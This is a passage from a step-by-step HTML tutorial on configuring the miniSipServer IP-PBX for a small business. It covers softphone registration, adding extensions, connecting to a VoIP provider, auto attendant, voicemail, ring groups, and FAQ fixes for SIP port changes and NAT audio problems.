<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="step2" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>4.2 Step2: connect local users to miniSipServer</span></h3>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">When miniSipServer is installed, it will create three default extensions automatically. Please click button "local users" in main window to check it. The default password for these extensions are also 100, 101 and 102.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="local user window" name="local user window" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/4_2__1.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">We begin to configure Holly's softphone to connect miniSipServer.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Holly use Xlite 4 as her softphone. The Xlite4 is a wonderful SIP client and can be download from<a href="http://www.counterpath.net/x-lite.html" style="color: #0080ff; font-weight: bold; text-decoration: none;">http://www.counterpath.net/x-lite.html</a>.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">After install Xlite, please click menu "Softphone -> Account settings".</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="xlite account configuration" name="xlite account" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/4_2__2.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In the pop-up window, please add a SIP account like following figure.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="xlite account property" name="xlite account property" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/4_2__3.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">The key configurations are described as:</span></div>
<table border="1" cellpadding="4" cellspacing="0" rules="NONE" style="width: 524px;"><tbody>
<tr valign="TOP"><td><div style="line-height: 15px;">
User ID</div>
</td> <td><div style="line-height: 15px;">
100</div>
</td></tr>
<tr valign="TOP"><td><div style="line-height: 15px;">
Domain</div>
</td><td><div style="line-height: 15px;">
192.168.1.110</div>
</td></tr>
<tr valign="TOP"><td><div style="line-height: 15px;">
Password</div>
</td><td><div style="line-height: 15px;">
100</div>
</td></tr>
<tr valign="TOP"><td><div style="line-height: 15px;">
Authorization name</div>
</td><td><div style="line-height: 15px;">
100</div>
</td></tr>
<tr valign="TOP"><td><div style="line-height: 15px;">
Register with domain and receive call</div>
</td><td><div style="line-height: 15px;">
Yes</div>
</td></tr>
<tr valign="TOP"><td><div style="line-height: 15px;">
Send outbound via</div>
</td><td><div style="line-height: 15px;">
domain</div>
</td></tr>
</tbody></table>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Please click 'OK' button to complete the Xlite configuration. Xlite will try to register to miniSipServer. If it successes, it should display 'Available' information.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="xlite ready" name="xlite ready" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/4_2__4.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Now, Holly's extension has connected to miniSipServer rightly. We can follow the same step to configure G.T' extension. If you have other kinds of SIP clients/phones, they should also be configured same information.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Both Holly and G.T' extensions have been connected to miniSipServer. We can show miniSipServer' local user information to check their status. Their icons should be blue.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="local users ready" name="local users ready" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/4_2__5.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">After we finish this step, the basic VOIP network is established. Holly and G.T can call each other. Holly can dial '101' to call G.T, and G.T can also dial '100' to call Holly.</span></div>
<h4 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="step2_1" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>4.2.1 Add a new extension in miniSipServer</span></h4>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In above configuration, we use the default extensions '100' and '101'. In future, with the growth of company, more and more people will join with us, we need add more extensions to support them. So we can do as following:</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In the 'local users information' window, please click 'Add' button to add a new extension.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="add a new local user" name="4_2_1__1" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/4_2_1__1.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="new local user configuration" name="4_2_1__2" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/4_2_1__2.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In normal, we can just assign extension number and password to a new extension. The new employee can use this new account information to configure his/her Xlite or SIP phones.</span></div>
<h3 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="step3" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>4.3 Step 3: connect miniSipServer to VOIP provider</span></h3>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">It is so easy to establish internal VOIP network and Holly and G.T enjoy it. It is time to establish connection with customers now.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In normal, if we want to make call to outside or receive a call from outside, we need a VOIP gateway connect our miniSipServer and traditional telephone or we need VOIP provider to do it for us. We decide to connect our miniSipServer to VOIP providers' network and we select <a href="http://www.broadvoice.com/" style="color: #0080ff; font-weight: bold; text-decoration: none;">BroadVoice</a> as our VOIP provider.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">After we request a SIP account from BroadVoice, for example, the account is '723123456', we will use use this account to configure miniSipServer to connect BroadVoice.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In the miniSipServer main window, please click button 'External lines' to add an external line information.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="external lines" name="4_3__1" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/4_3__1.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In the pop up window, please click button 'Add' to add an external line with BroadVoice account information.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="external line configuraton" name="4_3__2" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/4_3__2.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">The key informations are described as below table. Of course, you can update it according to your own configuration.</span></div>
<table border="1" cellpadding="4" cellspacing="0" rules="NONE" style="width: 524px;"><tbody>
<tr valign="TOP"><td><div style="line-height: 15px;">
External line</div>
</td><td><div style="line-height: 15px;">
7321234567</div>
</td></tr>
<tr valign="TOP"><td><div style="line-height: 15px;">
Password</div>
</td><td><div style="line-height: 15px;">
1234</div>
</td></tr>
<tr valign="TOP"><td><div style="line-height: 15px;">
Peer server address</div>
</td><td><div style="line-height: 15px;">
<a href="http://sip.broadvoice.com/">sip.broadvoice.com</a></div>
</td></tr>
<tr valign="TOP">  <td><div style="line-height: 15px;">
Peer server port</div>
</td><td><div style="line-height: 15px;">
5060</div>
</td></tr>
<tr valign="TOP"><td><div style="line-height: 15px;">
Share outgoing call with other local users</div>
</td><td><div style="line-height: 15px;">
Yes</div>
</td></tr>
<tr valign="TOP"><td><div style="line-height: 15px;">
Auto attendant</div>
</td><td><div style="line-height: 15px;">
Yes</div>
</td></tr>
</tbody></table>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Because we hope both Holly and G.T can make outgoing call, we select 'share outgoing call with other local users'.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Here we configure 'auto attendant' to support receiving incoming call from outside.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">If the external line success to connect to peer server ( VOIP provider's network or VOIP gateway), the icon of the external line should be gray and without cross flag.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Then, we describe some details about making outgoing call and receiving incoming call.</span></div>
<h4 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="Make_outgoing_call" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>4.3.1 Make outgoing call</span></h4>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">As we have confirmed in above sections, Holly and G.T can call each other by dialing their extensions number directly. If we want to make outgoing call to our customers, how can we do it?</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Since the external line is connected to VOIP provider's network ( or VOIP gateway), it is no problem to call outside customers, but we have to mention that we need add prefix '9' before we dial our customers numbers. In miniSipServer, prefix '9' is the default outgoing prefix which is used to distinguish call type. For example, if the customer's number is '7321234568', we need dial '<b>9</b>7321234568'.</span></div>
<h4 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="Receive_incoming_call" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>4.3.2 Receive incoming call</span></h4>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">When we configured external line before, we has indicated 'auto attendant' at the same time. So when the customer calls in, miniSipServer will prompt him/her to enter extension number. For example, once the customer calls "7321234567" ( the external line number provided by VOIP provider and configured in miniSipServer ), he/she will hear "Welcome, please enter extension number" and the customer can enter '100' to call Holly or enter '101' to call G.T.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">The benefit of using "auto attendant" to receive incoming call is that the company can provide only one public telephone number to customers and assign different extensions to each employee.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In another way, the default announcement can be modified and replaced. We can change it according to our real requirement, for example, we can change it to "welcome to xxx company,...". Please refer to the "<a href="http://www.myvoipapp.com/docs/mss_services/auto_attendant/index.html" style="color: #0080ff; font-weight: bold; text-decoration: none;">Automatic attendant</a>" document which has been installed with miniSipServer.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Because miniSipServer uses "RFC2833" DTMF mode to collect the customer's input digits, we must confirm with our VOIP provider that they can support this DTMF mode.</span></div>
<h2 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="Advance_configuration" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>5. Advance configuration</span></h2>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">When we finish above configurations, we success to establish our basic VOIP system. Is it enough? Of course, no! We want more useful services to support our communication, such as Voice mail, ring group, etc.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Here, we just have a brief look at these services in this document. We can refer to their own service guide documents or visit miniSipServer official website for <a href="http://www.myvoipapp.com/docs/index.html" style="color: #0080ff; font-weight: bold; text-decoration: none;">details</a>. The service guide documents are installed with miniSipServer at the same time.</span></div>
<h3 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="voice_mail" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>5.1 Voice mail</span></h3>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Sometime we maybe miss some important call because we have left the office. That means the business is possible gone! How to avoid this? The answer is voice mail. We hope the customer can leave their voice message and the miniSipServer mails these voice messages to our e-mail box, so we can check them at any time.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Please refer to the "<a href="http://www.myvoipapp.com/docs/mss_services/voice_mail/index.html" style="color: #0080ff; font-weight: bold; text-decoration: none;">Voice mail service document</a>".</span></div>
<h3 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="Ringing_group" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>5.2 Ringing group</span></h3>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">"Ringing group" is another useful service for our business. For example, when the customer calls Holly, the Holly's phone and the G.T's phone can ring at the same time if they are in the same ring group. So anyone of them can pick up the call.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Please refer to the "<a href="http://www.myvoipapp.com/docs/mss_services/ring_group/service_guide_ring_group.htm" style="color: #0080ff; font-weight: bold; text-decoration: none;">Ringing group service docuemnt</a>"</span></div>
<h2 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="faq" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>6. FAQ</span></h2>
<h3 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="faq_sip_port" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>6.1 How to change SIP port?</span></h3>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">The default SIP port is 5060 (UDP) which is defined in SIP standard. But in some special scenarios, we need change this port to another, for example 5090.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">To do that, we need modify MSS and SIP phones configurations together.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In MSS, please click menu "data -> system information -> SIP" and change the port. Please refer to following figure.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="SIP port in MSS" name="faq_sip_poprt_mss" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/faq_sip_poprt_mss.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">After that, please restart MSS to enable this modification.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In the Xlite (or other SIP phones), we need indicate it to work with the new port. In the SIP account configuration, please set the "domain" to "<a href="http://192.168.1.110:5090/">192.168.1.110:5090</a>":</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="SIP port in Xlite" name="faq_sip_poprt_xlite" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/faq_sip_poprt_xlite.jpg" /></span></div>
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<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="faq_stun" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>6.2 one-way audio or no-way audio problem?</span></h3>
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<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">We are often asked "why I cannot hear peer side?" or "why we cannot hear each other?". The root reason is firewall or NAT(network address translation). In these scenarios, we can often find that MSS and the SIP phones are deployed in an intranet with private IP address.</span></div>
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<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">First, we need confirm the firewall should not filter the audio streams in our network. For example, windows firewall often do that. We can try to shutdown the firewall and try again. If everything is ok, that means we need add MSS and Xlite to the windows firewall exception list.</span></div>
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<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">If we still cannot hear each other, we need configure STUN in the SIP phones to process NAT or firewall traversal. In the Xlite, please click menu "Softphons -> Account settings -> Topology". We can configure "Discover public IP address" and configure "<a href="http://stun.xten.com/">stun.xten.com</a>" as the default STUN server.</span></div>
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<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="Configure STUN in Xlite" name="faq_stun_xlite" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/faq_stun_xlite.jpg" /></span></div>
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<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">BTW, if all your SIP phones are Xlite, you can configure the "Firewall traversal method" to be "auto-detect firewall traversal method using ICE(recommended)".</span></div>
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Regards,<br />
Hardeep Singh<br />
(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div>
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Linux Linux Tutorials SIP Tutorials VoIP Setup IP PBX for small business step by step

Index 1. Instruction 2. What's VOIP? 2.1 IP-PBX 2.2 Phones 2.3 VOIP carriers 3. Scenario 4. Configuration...